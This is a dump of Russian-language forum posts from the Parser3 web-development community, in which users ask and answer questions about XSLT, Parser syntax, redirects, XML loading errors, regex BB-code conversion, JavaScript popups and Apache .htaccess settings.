"18357","Алексей Валиков – Технология XSLT: языки XML, XSLT и XPath (Собственно на этом и основан XSLT). Я думаю, этой книги будет достаточно для изучения всего перечисленного в не плохом объёме. [i](В Новосибирске прошлым летом за 230 р. взял.)[/i]\
\
А на счёт DOM, я взял книгу – XML за 21 день. Как всегда в книгах из этой серии много всего напихано в основном основы, но мне этого было достаточно, всё чего мне не хватало, черпнул из документаций. [i](Вообще взял я эту книгу из-за хренового знания английского языка и чтобы под рукой всегда была, все-таки удобней чем электронная документация.)[/i]\
"
"18358","Насчет того, чтобы под рукой всегда была согласен, так действительно очень удобно.\
Вот у меня книга \"Веб-дизайн\" Дмитрия Кирсанова, всегда под рукой, очень хорошая книга, рекомендую."
"18359","Я хорошо имею представление о XML, XLL, XSL, и, честно говоря, хуже о DOM, XSLT и XPath. О последних трёх мне приходилось слышать и читать очень мало, однако все эти стандарты как я слышал хорошие и упрощают работу при создании сайтов и не только. Парсер значительно упростил мне работу при создании сайтов. Я хотел-бы побольше узнать о DOM, XSLT и XPath, Вы уже читали книги и работали с ними, не могли бы Вы коротко рассказать о них, и самое главное, что они дают веб-разработчику.\
\
Заранее благодарю."
"18360","Я только знакомлюсь с Парсером и делаю небольшие пробы http://lauder.hoha.ru, мне очень нравится сама техноголия. Вопрос следующий не поможет ли уважаемая публика с конкретными примерами классов для работы с сессиями на основе базы и аунтификации пользователей. Мне что то нужно для примера, посмотреть как все работает. У меня есть реализация на PHP, но перекладывать ее в лоб пока есть вопросы, вот и хочу посмотреть что уже наработано в этом плане.\
Спасибо"
"18362","Смысл вот в чем. Я пишу несколько проектов, каждый из которых достаточно \"ресурсоемкий\" - т.е. мнго расчетов, обращений к БД и т.д. И похоже будет достаточно много обращений. Сейчас стоит ( win32 ) скрипт. Стоит ли перейти на модуль апаче ли нет ?"
"18364","...[url=\"/faq/errors/\"]с сообщениями парсера об ошибках[/url] и небольшим объяснением причин их возникновения.\
\
в список ошибок попало то, что наиболее часто искали в форуме.\
\
список будет расширяться."
"18365","С \"я б немного все сгладил\", а менять стиль не позволит. А если менять, то на что?"
"18366","XSLT вытек из проекта XSL, “Расширяемый язык стилей для преобразования”, что и реализовано в Parser. XPath позволяет обращаться к частям XML – документов, а также производить выборки и основные вычисления. XSLT используется совместно с XPath.\
 \
Один пример: вы делаете Интернет журнал, статьи хранятся в удобном XML – документе (или БД, генерировать XML документы очень легко). Часто нужно отобразить один и тот же документ в разных версиях (XHTML, текстовой версии и для печати). Для этого очень удобно использовать XSLT (само название говорит за себя). \
\
Не самый лучший пример я привёл, рабочий пример приведён в 6 уроке.\
\
[i]P.S. Вот так в форуме объяснять мне сложно. Спроси у Misha v.3 он в этом деле зверь и объяснит лучше.[/i]\
"
"18368","...зачем ноги?\
Или зачем картинка.\
Если картинка - то это просто способ расслабиться после долгого и напряжного дня."
"18370","+ там (в галлерее) еще одна картинка из той серии. \
Это которая \"Parser Peace\". Кто-то смотрит порно. Кто-то, более творченский, рисует голых барышень. А меня это расслабляет.\
Это всего лишь две картинки из 128."
"18372","-"
"18374","Я уже спрашивал у Roman'а Grudzinski см.\
[url=\"http://www.parser.ru/forum/?id=18359\"]вопрос[/url]\
Roman Grudzinski посоветовал спросить у Вас.\
\
Вот мой вопрос:\
Я хорошо имею представление о XML, XLL, XSL, и, честно говоря, хуже о DOM, XSLT и XPath. О последних трёх мне приходилось слышать и читать очень мало, однако все эти стандарты как я слышал хорошие и упрощают работу при создании сайтов и не только. Парсер значительно упростил мне работу при создании сайтов. Я хотел-бы побольше узнать о DOM, XSLT и XPath,\
не могли бы Вы коротко рассказать о них, и самое главное, что они дают веб-разработчику.\
\
Заранее благодарю."
"18375","теория:\
- работа с xsl будет быстрее. он кеширует скомпилированые шаблоны, и не занимается этим постоянно. один раз скомпилировал, потом использует, а это достаточно рессурсоемкая операция. если сайт сделан с использованием xml/xsl на модуль стоит смотреть в первую очередь.\
\
- сам парсер не будет считываться кучу раз (при каждом обращении к однокилобайтному документу)\
\
- persistent connection к БД. однако в случае с MySQL это не очень актуально, поскольку время соединения у MySQL мало (по сравнению с тем же ораклом). кроме того, если организовать все так, что будет один конект на страницу, очень большого выигрыша не получится. от количества запросов ничего не изменится (однако 50 запросов по 2 мс по моему лучше, чем 1 запрос в 1000 мс, так что не в количестве запросов счастье)\
\
- про расчеты... я думаю тут никакой разницы не будет.\
\
мое мнение:\
оптимизировать надо постепенно и комплексно. уронить можно и модуль апача наворочеными запросами без индексов или применением нехороших алгоритмов. \
\
в первую очередь стОит посмотреть на оператор ^cache[], затем  оптимизировать SQL запросы (тут мне очень помогает мой sql-ный класс, который умеет делать некоторый аналог трассировки).\
\
если и этого хватать не будет (а особенно если используется xsl transform) - то рулить к модулю апача."
"18376","сам использую http:/www.w3c.org/ там-же есть ссылки на локализованые документации."
"18377","а как это правильно сделать ?"
"18379","потом пытаешься оптимизировать код того, что есть, и только потом переходишь на модуль ?.. Так ? Может сразу целится на модуль ? И возможно ли поставить модуль апача на хостинг под *nix-ом ? В \"скачать\" его нету...."
"18380","\
как сделать так, чтобы при изменении value в qty изменялось кол-во повторов в цикле?\
[code]\
<tr>\
	<td>Кол-во вариантов</td>\
	<td><input type=\"text\" name=\"qty\" id=\"qty\" value=\"10\"></td>\
</tr>\
\
<script language=\"JavaScript\">\
\
\
\
\
\
\
\
t=edit_vote.qty.value;\
   for (i=1; i<=t; i=i+1)\
\
   {\
\
      document.write(\
\" <tr>	<td>no.\"+ i +\"</td> 	<td><input type='text' name='ans'  value=''></td></tr>\"\
	  \
	  );\
\
   }\
\
 </SCRIPT>\
\
</table>\
[/code]"
"18381","1. А ля Маковские кнопки уже просто всех достали, если хотите прозрачно-стеклянную кнопку изобразить придумайте что-нибудь новое. Пару советов в этом вам смогут дать мои статьи http://www.spearance.ru\
2. У парсера есть свой логотип, посему искажать слово Parser в нижней части я бы не стал, т.е. его как минимум нужно было той же гарнитурой написать.\
3. Птичка получилась натянутая на шар, что само по себе не очень смотрится... Создается впечатление что ей в одно место что-то вставили (не обижайтесь).\
\
P.S. любите критику - она двигатель прогресса..."
"18382","главное, чтобы не получилось так: поставили модуль, т.к. он \"круче\" и думаете, что все хорошо.\
\
выигрыш будет существенно больше от использования кеша, оптимизации алгоритмов и SQL запросов (помним про xsl трансформ).\
\
устанавливать проще CGI версию, собственно её с лихвой хватает для [url=\"/powered_by_parser/\"]большиснтва задач[/url] (в списке проектов есть совсем не детские и достаточно повещаемые сайты)\
\
про установку модуля на *nix [url=\"/docs/lang/install4apachemodule.htm\"]есть в доке[/url].\
\
а если говорить про [b]очень большие нагрузки[/b] то тут и модуль апача не спасет, зато спасет proxy...\
"
"18383","У меня есть три <input type='radio' name='r' value='1' checked>\
                <input type='radio' name='r' value='2'>\
                <input type='radio' name='r' value='3'>\
\
Неумею написать для выборки: выбрал первую сделалось то, вторую - что-то другое.\
Как нужно написать if(def $from.r) не катит. Помогите."
"18384","> а если говорить про очень большие нагрузки то тут и модуль апача не спасет, зато спасет proxy... \
\
Можно ли привести пример проектов с такой большой нагрузкой, работающих на парсере?"
"18385","а вот так(из доки)\
[code]\
^switch[$form:r]{ \
   ^case[1]{действие для 1} \
   ^case[2]{действие для 2} \
   ^case[3]{действие для 3} \
   ^case[DEFAULT]{вариант по умолчанию} \
}\
[/code]"
"18386","если недостаточно, то покажу пальцем на некоторые сайты в списке."
"18387","Если надо, чтобы \"выбра это - сделалось то\" сразу на страничке, то это к JavaScript\
\
Если постишь с формой - читай доку, там ВСЕ есть!!!\
\
---\
http://www.parser.ru/docs/lang/formfield.htm"
"18388","Критика принимается. Без обид и иронии - Спасибо.\
Кнопки самого достали.\
А прикол то и есть в том, чтобы оно не было похоже на лого парсера. По задумке это должно быть похоже на героя-неудачника-и тем-не-менее-героя американских мультов. Кроме того делалось по наитию за 2-3 минуты. "
"18395","\
В \"последних сообщениях\" последнее от 29.06"
"18397","[code]\
Последние сообщения \
Пока в форум могут писать только зарегистрированные пользователи (-), moko [28.04 23:50]\
Так что, теперь не надо точки с запятой в коде \"глушить\"? :-) (-), Aleksis [29.04 05:45]\
Ну вот, совсем другое дело! А то всякая системная бяка наруже лезет!, Elis_aka_Mikhail [29.04 11:05]\
MySQL driver на Win32, Александр Петросян (PAF) [29.04 11:07]\
PAF, так Ты мне скажешь в чем проблема? (-), Elis_aka_Mikhail [29.04 11:07]\
Заработало! И ещё..., Elis_aka_Mikhail [29.04 11:19]\
уже не только.... (-), Misha v.3 [29.04 11:24]\
Спасибо, Иван [29.04 11:43]\
Ответ, Александр Петросян (PAF) [29.04 11:57]\
Ответ, Александр Петросян (PAF) [29.04 12:00]\
Файлики устроят? :-), Elis_aka_Mikhail [29.04 12:02]\
Истину глаголит :-) (-), Elis_aka_Mikhail [29.04 12:03]\
Ответ, Александр Петросян (PAF) [29.04 12:04]\
Мыло давай :-) (-), Elis_aka_Mikhail [29.04 12:07]\
Ответ, Александр Петросян (PAF) [29.04 12:08]\
Уже скинул на design.ru :-) (-), Elis_aka_Mikhail [29.04 12:13]\
Ура, egr [29.04 12:21]\
А какой сишный xslt парсер вы используете ?, sabay [29.04 12:24]\
Ответ, Александр Петросян (PAF) [29.04 12:28]\
Да спасибо.!!!!!!!!!!!!!!!!!!!!!!!!!!!, Denis [29.04 12:31]\
Синтаксис, Александр [29.04 12:42]\
Спасибо, за новую версию Парсер!!!, Eugene Spearance [29.04 12:49]\
Ответ, Александр Петросян (PAF) [29.04 13:11]\
Ответ, sabay [29.04 13:19]\
Проблема с установкой под Win, Бенуа Коэ [29.04 13:39]\
[/code]"
"18398","в титлах сообщений\
[code]| PARSER | форум | вот здесь ничего нет, а раньше было |[/code]\
\
и ещё при авторизации не передается текущая ?page="
"18399","Собрать из исходников нет никакой возможности (негде).\
Сайт не могу запустить после смены провайдера...."
"18401","У меня на desctop'е в данный момент висит :)"
"18402","посмотрите http://crimnet.invex.ru/poll, там есть такое, и оно достаточно круто реализовано через DOM-функции..."
"18404","Так вот. Критика и на Вас.\
В разделе с текстами о Веб очень плохо видно примеры написаные на хтмл. Соыветую выделить одним из оттенков желтого цвета."
"18408","к тому же я её не пользую, поэтому просто не заметил..."
"18409","Вот, может пригодицца кому. На вход ему переменную, ноду и код. Переменная последовательно принимает значения всех нод родительской ноды, начиная с неё самой. Можно процесс прервать выставив stop(1). Памяти жрёт гораздо меньше чем рекурсия. Идея взята вот отсюда: http://parser2.parser.ru/forum/message_6743.html. Спасибо Luzhnikovskiy.\
[code]\
@xLoop[name;node;code][firstNodeId;doCycle;xStack]\
$firstNodeId(^node.getAttribute[id])\
$doCycle(1)\
$xStack[^hash::create[]]\
^while($doCycle && !$caller.stop){\
	^if($node is xnode){\
		^if($node.nodeType==1){\
			$caller.$name[$node]\
			$code\
			^if(^node.hasChildNodes[]){\
				^__xPush[$node]\
				$node[$node.firstChild]\
			}{\
				^if(^node.getAttribute[id]==$firstNodeId){\
					$node[]\
				}{\
					$node[$node.nextSibling]\
				}\
			}\
		}{\
			$node[$node.nextSibling]\
		}\
	}{\
		^if($xStack>1){\
			$node[^__xPop[]]\
			^if(^node.getAttribute[id] eq '$firstNodeId'){\
				$doCycle(0)\
			}{\
				$node[$node.nextSibling]\
			}\
		}{\
			$doCycle(0)\
		}\
	}\
}\
\
@__xPush[node][i;pushed]\
$i($caller.xStack)\
^i.inc[]\
$pushed[\
	$.$i[$node]\
]\
$caller.xStack[^caller.xStack.union[$pushed]]\
$result[]\
\
@__xPop[][i;node]\
$i($caller.xStack)\
^if($i){\
	$node[$caller.xStack.$i]\
	^caller.xStack.delete[$i]\
	$result[$node]\
}{\
	$result[]\
}\
[/code]\
А, ну да, у каждой ноды должен быть уникальный айдишник...\
Если есть предложения и комментарии, было бы интересно\
"
"18410","А точнее, почему ^date::now[], а не $date:now[] и не ^date:now[]?\
Почему это конструктор, а не поле и не метод?"
"18411","В ОО языках программирования существуют понятия как объекты, классы, методы и поля. Конструкторы это такие методы, которые создают объекты. Обращения к методам внутри класса делается так [code]^имя_метода[параметры][/code], а обращения к методам в другом классе делается так [code]^имя_класса::имя_метода[параметры][/code], по-моему всё логично (как и во многих языках программирования). А к полям другого класса (это переменные в другом классе) так [code]$класс:имя_поля[/code], внутри класса [code]$имя_поля[/code]. Что запоминать, надо понять."
"18412","$ - обращение к переменной\
^ - вызов оператора/конструктора/метода\
\
если работаем с переменной ($) то скобочки после нее говорят, что в нее надо положить что-то. от того, какие скобочки зависит что именно в переменную кладем. если скобочки круглые - число, если фигурные - junction, если квадратные - объект (строку, таблицу, хеш, дату, свой объект...)\
\
если работаем с методом/оператором/конструктором (^) - то скобочки говорят нам что в этот метод мы передаем перечисленные в них параметры. от того, какие скобочки мы поставим мы можем заявить, что за параметр мы передаем.\
соответствие скобок такое-же как при помещении чего-либо в переменную.\
\
про точки, двоеточия и двойные двоеточия напишу позже... некогда щас..."
"18413","Про прямой вызов метода я прогнал, признаю, в место [b]::[/b] надо [b]:[/b].\
\
Я придерживаюсь тех правил, что я написал и синтаксических ошибок у меня не возникает. В Parser же нет функций, есть классы и его методы, но мы за частую называем их функциями (понятия смешалиь). Конструкторы, методы (и деструкторы) - это всё функции классов, поэтому я и назвал конструктор методом. Я же привёл только примеры, а какие типы данных как передавать можно прочитать в документации, автор вопроса об этом не спрашивал.\
\
[i]Вот так я это понимаю. Если опять гоню, объясни если не трудно, не хочется быть безграмотным.[/i]"
"18414","В описании оператора connect, приводиться список возможных конструкций:\
table::sql\
string::sql\
void:sql\
hash::sql\
int:sql\
double:sql \
\
Строчку \"string::sql\" следует читать как \"string:sql\". \
\
Если кто-то создавал схемы раскраски (например, я ;-) ), то не забудьте это исправить... "
"18415","просто каждый называет как ему нравится. Эта разница в терминологии и не более того."
"18416","Есть скрипт htpp://www.site1.org/page1.html\
[code]\
@main[]\
$response:location[htpp://www.site1.org/news]\
[/code]\
\
Я его вызываю а меня редиректит вместо\
htpp://www.site1.org/news\
на\
htpp://site1.org/news :( т.е. без www\
\
как это побороть, чтобы шёл редирект на htpp://www.site1.org/news\
\
парсер стоит на FreeBSD"
"18417","вроде как игнорируется галочка \"новыми считать сообщения с момента последнего logout-а\"."
"18418","Т.е. зашел сейчас, залогинился, и красным подсвечивается только то, что появилось после того, как я вчера отлогинился."
"18419","В доке я сегодня увидел это - [i]так рекомендуется называть [b]метод-конструктор[/b] класса[/i]."
"18421","На ваше сообщение в форуме\
http://www.parser.ru/forum/?id=18366 от 11:58 09.07.2003 ответили.\
\
Автор: [b]'[Quesh]'[/b]\
Заголовок: 'Большое спасибо!'\
Сообщение: ''\
\
Всю дискуссию по этой теме вы можете увидеть на странице форума по адресу:\
http://www.parser.ru/forum/?id=18369"
"18422","Проблема вот в чем - пишу и тестирую сайт по win32, а потом размещаю его на ностинге под *nix. Так вот  - хотелось бы, чтобы кода различались ( типа под nix появлялись счетчики и другой connect_string ). Вот ника не могу понять - как сделать это красиво ? Может ли парсер определить - на кокой платформе он запущен ? Или же лучше поискать другой способ решения проблемы ?"
"18423","Прошу прощения за оффтопик, но уж очень приспичило...\
Есть почтовый ящик, к которому можно обращаться по pop3 и imap, и нужно организовать к нему доступ через вебинтерфейс. Если вы знаете хорошую реализацию, хоть на perl, хоть на php, которая \"дружит\" с русским языком, киньте мне ссылочку на mailto:Alexander.Bougakov@GfK.ru, если не затруднит (не отвечайте в форум, ладно?) Так не хочется выкачивать не пойми что с sourceforge и наступать подряд на кучи грабель, когда должен быть проверенный вариант...\
\
Спасибо большое заранее."
"18426","там тоже самое получается и когда просто без всяких http делаешь :(\
например так\
[code]\
$response:location[/news]\
[/code]"
"18428","если вопрос в том, какого фига пришло это письмо - то ответ такой: оно пришло потому, что вы поставили галочку \"присылать ответы\"\
\
если вопрос в том, почему имя ответившегов скобочках - то  Luzhnikovskiy верно сказал - оно в скобочах, т.к. отвечал незалогиненый пользователь. если отвечает залогиненый - оно без скобочек."
"18429","...который все равно должен достаточно сильно различаться (пути к библиотекам, файлам с кодировками...)"
"18430","$document[^xdoc::load[http://blog.exmachina.ru/index.xml]]\
^document.text[]\
\
Иногда работает нормально, иногда выдает ошибку - exception in request exception handler: Exception 0xE06D7363 at 0x77E9E8BB\
\
В чем может быть дело? Хотя бы примерные пути решения проблемы?"
"18431","table::sql\
string:sql\
Почему в первом случае два двоеточия, а во втором - одно?\
"
"18432","У меня такой вопрос, если я подключаю класс (как в доках gbook.p), подключаю как обычно, т.е. \
@USE\
/classes/gbook.p\
и хочу далее вставить какое-нить условие типа ^if($form:day...) или ^switch($form:day...), то парсер мне выдает ошибку:\
Следует прописать $MAIN:CLASS_PATH.\
\
Подскажите плз, что мне делать в данной ситуации??"
"18433","[quot]а обращения к методам в другом классе делается так: ^имя_класса::имя_метода[параметры][/quot]\
\
это не обращение к методам другого класса. это вызов конструктора класса (не обязательно другого, можно такого же) для создания объекта (под объектом я подразумеваю экземпляр класса). обращение к методу объекта (про что не сказано) - ^имя_объекта.имя_метода[параметры]\
\
далее, вы пишите:\
[quot]\
А к полям другого класса (это переменные в другом классе) так: $класс:имя_поля\
[/quot]\
\
мне это опять не совсем нравится. обратиться к полю другого класса (статически) именно так, а к полю другого объекта - не так (а $объект.имя_поля)\
\
в общем я к чему... действительно, тут очень много зависит от принятой терминологии. возможно мы не понимаем друг друга, т.к. мы для определения одной сущности используем разные слова. \
моя терминология:\
\"класс\" - я даже не знаю как это описать ;)\
\"объект\" - экземпляр класса (системного или пользовательского)\
я не употребляю обычно слово функция, пользуюсь термином \"метод\"\
и я использую слова \"переменная\" и \"поле\" как синонимы, при этом обычно слово поле использую когда говорю о переменных объекта/класса."
"18435","это все там и пишется. Я просто думаю - а нормально ли это, или же лучше  создать файлы win32.p и  unix.p ,  а далее  ^if( def ^file:find[unix.p]){^use[unix.p]}{^use[win32.p]}"
"18436","Строка, скажем так, более простой объект (стандартный) - ему не нужно специального конструктора (как и int/double). А вот таблицу/хэш/файл/xdoc надо еще \"правильно создать\", ибо они рукотворные.\
Потому и sql в случае таблицы - конструктор (создаем хитрую вешь с нуля - надо колоночки/строчки посчитать и в памяти разложить), а в случае строки - метод (строку создать легко и \"ничего считать не надо\")."
"18437","чтобы обойти её, попробуйте разделить процесс получения данных и создание xdoc...\
\
$f[^file::load[http://blog.exmachina.ru/index.xml]\
$document[^xdoc::create{$f.text}]\
^document.text[]\
\
ну и про проверки/try можно не забыть"
"18438","сам парсер в cgi-bin - разный, его же не копируете?\
тогда зачем копировать auto.p, который лежит рядом с ним?\
\
вообще не трогайте при копировании каталог с cgi-bin и всего делов."
"18439","Так и нужно делать - конфиг на то и конфиг, чтобы задавать специфичные вещи.\
Не думаю, что есть много методов, сколь угодно различиющихся для разных платформ. Следовательно, достаточно просто определить их по-своему в соответствующем конфиге. И не надо искать сложных путей, там где все просто ;-)"
"18442","$response:location[/news]\
отбрасывает www :(\
\
$response:location[/news/]\
оставляет в адресной строке старый урл :((\
"
"18443","Когда нет / на конце - он его добавляет, заодно и имя сервера \"правит\". Так и должно быть.\
А location всегда стоит через внешний редирект пускать - иначе действительно в адресной строке ничего меняться не будет."
"18446","При выборке записей из таблицы вылетает 500 ошибка. Удалось идентифицировать, что на строке:\
$string[^table::sql{SELECT * FROM hb_news}]\
\
Простые запросы, как SELECT 2+2 дают отличный результат, никаких ошибок нет, подключение к базе происходит нормально, все таблицы существуют, доступ к ним есть. А вот на те, ни с того, ни с сего, ошибка выходит. \
\
Подскажите, в чем дело может быть."
"18447","Но тут проблема в том, что если я в тело страницы gbook.html просто прописываю:\
\
@USE\
/classes/gbook.p\
$gb[^gbook::load[]]\
^gb.show_messages[],... то все работает, а если \
\
@USE\
/classes/gbook.p\
<b>^if($form:day...)</b>\
$gb[^gbook::load[]]\
^gb.show_messages[],...то он мне выдает ошибку в <b>^if($form:day)</b> и при этом указывает на $MAIN:CLASS_PATH"
"18448","Другое дело разработчик. Но у него есть голова.\
Простая ассоциация чтобы запомнить раз и навсегда\
\
[b]Когда нужен конструктор (::)[/b]\
Есть: листок бумаги и ручка.\
Надо: 1. Написать строку или число.\
Решение: 1. Просто пишем (конструкто не нужен).\
Надо: 2. Нарисовать таблицу\
Решение: 2. Сначала надо нарисовать N-колоночек и M-строчек. Потом уже в клеточках писать значения (конструктор нужен)."
"18451","Дело в том, что я весь этот код писал в auto.p корня своего сайта, а надо просто разный код внести в auto.p в конфиге скрипта"
"18452","@main[] прописан в файле auto.p, который соответственно в корне"
"18454","Прошу прощения, что сразу не упомянул. Всегда одна и та же упомянутая ошибка."
"18455","Вот текст страницы:\
@USE\
/classes/gbook.p\
<b>^if($form:day...)</b>...\
\
Что он означает? Правильно - 1. использовать класс по адресу /classes/gbook.p, 2. использовать класс по адресу <b>^if($form:day...)</b>.\
\
Не смущает?"
"18456","Можно попробовать лимитировать число записей, получаемых в этом запросе."
"18457","Т.е. для парсера ^if... является адресом еще одного подключаемого класса??? Тоггда каким образом модно проситать что @use закончился, а это уже пошел код самой страницы gbook.html? (которая также находится  в корне)\
"
"18458","я показал на конкретное место где описана именно ваша ошибка. неужели сложно [b]внимательно[/b] прочитать 3 предложения?"
"18460","В таблице всего 7 записей, объем данных смехотворный. Очень сомневаюсь, что виновато ограничение памяти."
"18461","А хостер кто? Что за софт на сервере?"
"18462","Если взять пример из руководства и всяко над ним извратиться\
$xdoc[^xdoc::load[http://www.cbr.ru/scripts/XML_daily.asp;$.timeout(-1)$.headers[$.User-Agent[SexCrawler] ]]\
] \
<pre>^taint[^xdoc.string[]]</pre> \
- работает,\
А если просто поменять урлу документа - то же самое сообщение об ошибке:\
$xdoc[^xdoc::load[http://narmed.ru/apteka/apteka.xml]]\
<pre>^taint[^xdoc.string[]]</pre> \
\
А попытки загрузить файл вообще не происходит\
$f[^file::load[text;http://blog.exmachina.ru/index.xml]\
$document[^xdoc::create{$f.text}]\
^document.text[]"
"18463","Пусть уж все будет прозрачно: считаем, сколько в первой строке знаков табуляции, затем сколько строк в файле. Потом создаем таблицу с этими параметрами. Пусть это будет не \"внутри\" парсера, а пусть пользователь сам такой код каждый раз пишет:)"
"18464","Возможно, проблема в неправильном формате xml.\
Т.е. правильным считается только файл центробанка. Любой другой xml-документ правильным не является, даже этот:\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
текст \
</document>}] \
"
"18465","Оказывается, парсер ищет .dtd, если документ на него ссылается. Т.е. все по стандарту. Ну дела.."
"18466","Про запросы вида SELECT * FROM ... было уже сказано много грязных слов на всевозможных языках существующих на планете - ведь в таблице легко может находится столбец (а он там скорее всего и есть) с типом данных text в который можно напихать до 4 гигов, так что даже одна запись может легко нахлобучить парсер.\
\
Короче вы бы по-подробнее рассказали коллегам чего у вас там за данные, а лучше вообще пишите явный выбор нужных столбов из таблицы."
"18467","Я пишу\
\
[code]\
@show_form[]\
<form method=\"POST\" action=\"/forum/add_message.html\">\
<input name=\"forum_id\" type=\"hidden\" value=\"^if(def form:forum){$form:forum}{0}\" />\
<input name=\"tred\" type=\"hidden\" value=\"^if(def $form:tred){$form:tred}{0}\" />\
<input name=\"parent_id\" type=\"hidden\" value=\"^if(def $form:id){$form:id}{0}\" />\
<table width=\"100%\" height=\"100%\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">\
^if(def $cookie:login_name){}{\
<tr>\
    <td width=\"20%\" align=\"left\" valign=\"baseline\">Автор: <input name=\"author\" /></td>\
</tr>\
<tr>\
    <td width=\"20%\" align=\"left\" valign=\"baseline\">E-mail: <input name=\"email\" /></td>\
</tr>}\
<tr>\
    <td width=\"20%\" align=\"left\" valign=\"baseline\">Тема: <input name=\"title\" /></td>\
</tr>\
<tr>\
    <td align=\"left\" valign=\"baseline\">\
	    Текст сообщения:<br />\
		<textarea cols=\"60\" name=\"text\" rows=\"6\"></textarea><br /><br />\
	<center>\
<input type=\"submit\" value=\"Отправить сообщение\" name=\"post\"/>\
<input type=\"reset\" value=\"Очистить\" /></center></td>\
</tr>\
</form>\
</table>[/code]\
\
Он работает (в смысле передаёт данные на сервер)\
\
Я пишу\
[code]\
@show_form[]\
<form method=\"POST\" action=\"/forum/add_message.html\">\
<input name=\"forum_id\" type=\"hidden\" value=\"^if(def form:forum){$form:forum}{0}\" />\
<input name=\"tred\" type=\"hidden\" value=\"^if(def $form:tred){$form:tred}{0}\" />\
<input name=\"parent_id\" type=\"hidden\" value=\"^if(def $form:id){$form:id}{0}\" />\
<table width=\"100%\" height=\"100%\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">\
^if(def $cookie:login_name){}{\
<tr>\
    <td width=\"20%\" align=\"left\" valign=\"baseline\">Автор: <input name=\"author\" /></td>\
</tr>\
<tr>\
    <td width=\"20%\" align=\"left\" valign=\"baseline\">E-mail: <input name=\"email\" /></td>\
</tr>}\
<tr>\
    <td width=\"20%\" align=\"left\" valign=\"baseline\">Тема: <input name=\"title\" /></td>\
</tr>\
<tr>\
    <td align=\"left\" valign=\"baseline\">\
	    Текст сообщения:<br />\
		<textarea cols=\"60\" name=\"text\" rows=\"6\"></textarea><br /><br />\
	<center>\
<input type=\"submit\" value=\"Отправить сообщение\" name=\"post\" onClick=\"\
window.opener.location.href = '/forum/message.html?tred=$form:tred';\
window.opener.focus();\
window.close();\" />\
<input type=\"reset\" value=\"Очистить\" /></center></td>\
</tr>\
</form>\
</table>\
[/code]\
\
Обновляет родительское окно, закрывает само себя но данные на сервер не передаёт.\
Что мне сделать чтоб это заработало?\
\
Заранее благодарю за помощь."
"18468","в текущей версии парcера есть такой баг - он не может загрузить external entity если в пути присутствует ..\
\
Под external entity считать dtd и стилевые таблицы подключаемые через  xml-stylesheet"
"18469","В скольких местах придется переписать код?"
"18470","Нужно из \
[img='surce'...] сделать <img src='source' ... />\
Пишу:[code]\
^text.match[\\[img=(\"?)([^^\"]+?)\\1\\]][gi]{<img src='${im_path_prefix}/${match.2}' $match.4/>}\
[/code]\
работает, если ... отсутствует.\
Пытаюсь именить:[code]\
^text.match[\\[img=(\"?)([^^\"]+?)\\1([^^\\]]*)\\]][gi]{<img src='${im_path_prefix}/${match.2}' $match.4/>}\
[/code]\
Что бы ... - было любыми сомволами, кроме \"]\".\
На что он ругается:\
[code]regular expression syntax error - \\ at end of pattern[/code]\
Что ему не нравится?"
"18471","[code]\
^text.match[\\^[img=(\"?)([^^\"]+?)\\1([^^\\^]]*)\\^]][gi]{<img src=\"${im_path_prefix}/${match.2}\" $match.3/>}\
[/code]\
\
проблемма из-за непарных квадратных скобок внутри шаблона.\
парсер сам не может разобраться, приходится ему показать, какая скобка есть \"буква\", а какая - его родная конструкция."
"18475","Этот сценарий нужно разместить не на странице с формой, а на странице, на которую отправляешь эту форму. По-моему, это проще. "
"18476","Сцнарий это js\
Как перезагрузить родительское окно?\
\
Вообще я столкнулся со следующей проблемой\
обновление родительского окна происходят раньше чем данные обрабатываются сервером (это в случае если window.close() отсутсвует в коде).\
Если window.close() присутствует в коде то данные на сервере даже не появляются.\
Если я ставлю паузу окно просто виснет на время паузы а дальше всё происходит по выше перечисленному сценарию.\
\
Вобщем труба - я торможу и висну ;)\
"
"18477","Можно юзать js скрипты (в часности popup.js) этого форума."
"18478","по коду:\
[code]\
<input name=\"forum_id\" type=\"hidden\" value=\"^if(def form:forum){$form:forum}{0}\" />\
[/code]\
во первых там надо писать $form:forum, а во вторых я бы написал так:\
[code]\
<input name=\"forum_id\" type=\"hidden\" value=\"^form:forum.int(0)\" />\
[/code]\
\
про html: во второй и далее строках таблицы можно не писать width=\"...\"\
\
про твой алгоритм - я вижу, ты сам разобрался, почему не работало.\
\
как сделано тут - в форуме не раз уже обсуждалось. если тебе лень искать, то мне лень описывать это ещё раз."
"18479","на страницу add_message.html, значит скрипт закрывающий окно должен быть выполнен именно на странице add_message.html.\
\
[i]Неужели я так хреново объясняю? Нет, это не наезд, это я про себя, уже который человек меня не понимает. :([/i]"
"18482","Да, мне известно, что запись SELECT * FROM является идеологически неправильной. Однако я привел ее здесь только для примера, а выборку делаю с явным указанием столбцов. Самое смешное, что объем данных не превышает и килобайта, я их сам заносил в базу и точно знаю, что в ней содержится. Поэтому, очень странно выглядит, что Парсер стопорится на небольших данных. Возможно, что дело и не в базе, а как указал господин Томашевич, в том, что Парсер использует больше памяти, чем, скажем, Перл. В этом случае наука бессильна и надо теребить хостинг."
"18483","http://spearance.tura.ru/parser3/regex/?no=7\
[code]^str.match[\\[img=(\"?)([^^\"]+?)\\1([^^\\]]*)\\]][gi]{<img src=\"${root}/img/banner/${match.2}\" $match.3/>}[/code]\
"
"18485","Набираю parser.ru или любой адрес в домене parser.ru и меня перебрасывает на www.parser.ru/.. Какими средствами это реализовано?\
\
Заранее спасибо."
"18490","У меня на сервере есть директория /parser/ а в ней директория /mod/.\
Как мне запретить доступ с помощью средств Apache к директории\
/parser/ чтоб при этом директорию /mod/ можно было просматривать.\
\
Вопрос конечно не в тему, постараюсь впереть не задавать больше таких вопросов в форуме по Парсеру. Просто очень нужно, а я никак не могу найти ответ в документации по Apache.\
\
Заранее благодарю."
"18491","Я точно не помню, кажется, так:\
\
<Direrctory \"/parser/mod/\">\
Order allow,deny\
deny from all\
</Directory>\
\
Но как понять \"чтоб при этом директорию /mod/ можно было просматривать\"?"
"18492","на папку, в которую он положен, и ниже. если в /parser/ положить запрещающий .htaccess, а в /parsser/mod/ - разрешающий - всё заработает как надо."
"18497","Вы кто??? ,а я ламер.\
Думаю разница в терминолгии, и проф лексиконе - которых я незнаю.\
\
И всётаки спасибо за помощь."
"18498","Спасибо за указание ошибок -я их не видел.\
"
"18499","и запустить по сохранению скрипт, который и поменяет права на нужные"
"18501","Я пишу в .htaccess который лежит в /parser/\
\
<Directory>\
 Order allow,deny\
